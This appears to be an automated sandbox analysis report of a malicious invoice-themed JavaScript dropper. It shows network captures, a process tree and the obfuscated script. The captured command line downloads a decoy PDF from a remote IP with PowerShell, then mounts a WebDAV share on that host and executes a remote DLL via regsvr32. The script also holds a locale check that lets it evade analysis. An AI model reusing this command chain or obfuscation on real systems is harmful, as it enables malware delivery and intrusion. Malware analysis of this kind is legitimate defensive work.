Jan 11, 2025 03:42:36.349792957 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.349945068 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.349961996 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.349972963 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.349982023 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.349991083 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.349994898 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.350009918 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.350009918 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.350019932 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.350033045 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.350054979 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.359128952 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.389542103 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389600039 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389628887 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389681101 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389735937 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389761925 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.389761925 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.389790058 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389823914 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389839888 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.389861107 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389909029 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.389913082 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.389966011 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.390000105 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.390013933 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.390036106 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.390069962 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:36.390084982 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.444664955 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.481621981 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:36.592556000 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:37.228648901 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:37.931154966 CET	49743	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:37.936065912 CET	8888	49743	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:37.936182022 CET	49743	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:37.937479973 CET	49743	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:37.942279100 CET	8888	49743	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:38.758192062 CET	8888	49743	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:38.801863909 CET	49743	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:38.924285889 CET	49743	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:42:46.243772030 CET	54714	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:42:58.357384920 CET	50535	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:43:14.638627052 CET	60503	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:43:38.702393055 CET	51808	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:44:02.841896057 CET	53365	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:44:26.920262098 CET	53652	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:42:46.243772030 CET	192.168.2.7	1.1.1.1	0xe301	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:42:58.357384920 CET	192.168.2.7	1.1.1.1	0x6dec	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:43:14.638627052 CET	192.168.2.7	1.1.1.1	0xf273	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:43:38.702393055 CET	192.168.2.7	1.1.1.1	0x812f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:44:02.841896057 CET	192.168.2.7	1.1.1.1	0xdf73	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:44:26.920262098 CET	192.168.2.7	1.1.1.1	0x5a6c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:42:45.060430050 CET	1.1.1.1	192.168.2.7	0xbfd7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:42:45.060430050 CET	1.1.1.1	192.168.2.7	0xbfd7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:42:46.250777960 CET	1.1.1.1	192.168.2.7	0xe301	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:42:58.365552902 CET	1.1.1.1	192.168.2.7	0x6dec	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:43:14.645834923 CET	1.1.1.1	192.168.2.7	0xf273	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:43:38.709716082 CET	1.1.1.1	192.168.2.7	0x812f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:44:02.849477053 CET	1.1.1.1	192.168.2.7	0xdf73	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:44:26.928493023 CET	1.1.1.1	192.168.2.7	0x5a6c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49723	193.143.1.205	80	7796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:42:34.793642044 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:42:35.583404064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:42:35.583446980 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:42:35.583457947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:42:35.583470106 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 03:42:35.583528996 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:42:35.583556890 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 03:42:35.583568096 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:42:35.583647013 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 03:42:35.583658934 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 03:42:35.583708048 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 03:42:35.588359118 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49743	193.143.1.205	8888	8112	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:42:37.937479973 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:42:38.758192062 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:42:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12524190021110725310.js"
Imagebase:	0x7ff7c5700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:42:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Imagebase:	0x7ff77c020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:42:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:42:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:42:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:42:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77c020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:42:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ec790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:42:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:42:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:42:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,8481434427352121438,16577776428361387974,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function krbsfzxn() {	krbsfzxn() ➔ undefined
1	scmuykv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eernejnbh = this[uhcjs + aclegd + tnocwusd + wpykjvp + mizgspc + qksrb + rxcwrltd + zsiloukp] ( this[cqrno + sytydm + cgunyem + tnocwusd + diybam + uhcjs + zsiloukp][gkqvf + tnocwusd + mizgspc + aclegd + zsiloukp + mizgspc + jlwjha + zvwlgl + aduhe + mizgspc + cgunyem + zsiloukp] ( cqrno + sytydm + cgunyem + tnocwusd + diybam + uhcjs + zsiloukp + xhbtfe + sytydm + ahvfyk + mizgspc + syliwvlwk + syliwvlwk ) [oawjytosv + mizgspc + voalozq + oawjytosv + mizgspc + aclegd + bhmik] ( aezrky + wtgvhqm + ywncneh + fqrfgqfu + xilhidos + gkqvf + bbredy + oawjytosv + oawjytosv + ywncneh + lqcti + xnbfhgsqa + xilhidos + bbredy + sytydm + ywncneh + oawjytosv + kpftuwsl + gkqvf + wijsbzcfv + rxcwrltd + zsiloukp + tnocwusd + wijsbzcfv + syliwvlwk + oqmgsj + yvfnuk + aclegd + rxcwrltd + mizgspc + syliwvlwk + kpftuwsl + qksrb + rxcwrltd + zsiloukp + mizgspc + tnocwusd + rxcwrltd + aclegd + zsiloukp + diybam + wijsbzcfv + rxcwrltd + aclegd + syliwvlwk + kpftuwsl + isogso + wijsbzcfv + cgunyem + aclegd + syliwvlwk + mizgspc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dfvsoxk = 0 ; dfvsoxk < scmuykv[syliwvlwk + mizgspc + rxcwrltd + voalozq + zsiloukp + ahvfyk] ; ++ dfvsoxk )
4	{
5	if ( eernejnbh == scmuykv[dfvsoxk] )
6	{
7	eernejnbh = true;
8	break ;
9	}
10	}
11	if ( eernejnbh !== true )
12	this[cqrno + sytydm + cgunyem + tnocwusd + diybam + uhcjs + zsiloukp][bofdhge + xtaescq + diybam + zsiloukp] ( );
13	this[cqrno + sytydm + cgunyem + tnocwusd + diybam + uhcjs + zsiloukp][gkqvf + tnocwusd + mizgspc + aclegd + zsiloukp + mizgspc + jlwjha + zvwlgl + aduhe + mizgspc + cgunyem + zsiloukp] ( cqrno + sytydm + cgunyem + tnocwusd + diybam + uhcjs + zsiloukp + xhbtfe + sytydm + ahvfyk + mizgspc + syliwvlwk + syliwvlwk ) [tnocwusd + xtaescq + rxcwrltd] ( cgunyem + hbmnfvntu + bhmik + oqmgsj + ggkgxwm + cgunyem + oqmgsj + uhcjs + wijsbzcfv + xletx + mizgspc + tnocwusd + wpykjvp + ahvfyk + mizgspc + syliwvlwk + syliwvlwk + xhbtfe + mizgspc + pkkzlwv + mizgspc + oqmgsj + qvpvhbgta + gkqvf + wijsbzcfv + hbmnfvntu + hbmnfvntu + aclegd + rxcwrltd + bhmik + oqmgsj + useyri + qksrb + rxcwrltd + tlqjm + wijsbzcfv + vzefbbbbx + mizgspc + qvpvhbgta + cqrno + mizgspc + zvwlgl + oawjytosv + mizgspc + szkwovwa + xtaescq + mizgspc + wpykjvp + zsiloukp + oqmgsj + qvpvhbgta + jlwjha + xtaescq + zsiloukp + waysii + diybam + syliwvlwk + mizgspc + oqmgsj + nhyxkw + zsiloukp + mizgspc + hbmnfvntu + uhcjs + nhyxkw + kpftuwsl + diybam + rxcwrltd + tlqjm + wijsbzcfv + diybam + cgunyem + mizgspc + xhbtfe + uhcjs + bhmik + gczdoug + oqmgsj + ahvfyk + zsiloukp + zsiloukp + uhcjs + xsoicvfke + ggkgxwm + ggkgxwm + mrssnwhoq + zvdfrotkl + sdtaijs + xhbtfe + mrssnwhoq + rlzigclxa + sdtaijs + xhbtfe + mrssnwhoq + xhbtfe + mgihmi + dgwqpstcq + vjgaph + ggkgxwm + diybam + rxcwrltd + tlqjm + wijsbzcfv + diybam + cgunyem + mizgspc + xhbtfe + uhcjs + ahvfyk + uhcjs + useyri + cbtqmdfm + cbtqmdfm + wpykjvp + zsiloukp + aclegd + tnocwusd + zsiloukp + oqmgsj + nhyxkw + zsiloukp + mizgspc + hbmnfvntu + uhcjs + nhyxkw + kpftuwsl + diybam + rxcwrltd + tlqjm + wijsbzcfv + diybam + cgunyem + mizgspc + xhbtfe + uhcjs + bhmik + gczdoug + cbtqmdfm + cbtqmdfm + cgunyem + hbmnfvntu + bhmik + oqmgsj + ggkgxwm + cgunyem + oqmgsj + rxcwrltd + mizgspc + zsiloukp + oqmgsj + xtaescq + wpykjvp + mizgspc + oqmgsj + kpftuwsl + kpftuwsl + mrssnwhoq + zvdfrotkl + sdtaijs + xhbtfe + mrssnwhoq + rlzigclxa + sdtaijs + xhbtfe + mrssnwhoq + xhbtfe + mgihmi + dgwqpstcq + vjgaph + mhjaqhw + pptlbkvra + pptlbkvra + pptlbkvra + pptlbkvra + kpftuwsl + bhmik + aclegd + tlqjm + xletx + xletx + xletx + tnocwusd + wijsbzcfv + wijsbzcfv + zsiloukp + kpftuwsl + cbtqmdfm + cbtqmdfm + cgunyem + hbmnfvntu + bhmik + oqmgsj + ggkgxwm + cgunyem + oqmgsj + tnocwusd + mizgspc + voalozq + wpykjvp + tlqjm + tnocwusd + sdtaijs + mgihmi + oqmgsj + ggkgxwm + wpykjvp + oqmgsj + kpftuwsl + kpftuwsl + mrssnwhoq + zvdfrotkl + sdtaijs + xhbtfe + mrssnwhoq + rlzigclxa + sdtaijs + xhbtfe + mrssnwhoq + xhbtfe + mgihmi + dgwqpstcq + vjgaph + mhjaqhw + pptlbkvra + pptlbkvra + pptlbkvra + pptlbkvra + kpftuwsl + bhmik + aclegd + tlqjm + xletx + xletx + xletx + tnocwusd + wijsbzcfv + wijsbzcfv + zsiloukp + kpftuwsl + mgihmi + zvdfrotkl + mrssnwhoq + dgwqpstcq + mgihmi + pptlbkvra + zvdfrotkl + sdtaijs + hbkdmyrd + mgihmi + zvdfrotkl + dgwqpstcq + pptlbkvra + zvdfrotkl + xhbtfe + bhmik + syliwvlwk + syliwvlwk, 0, false );	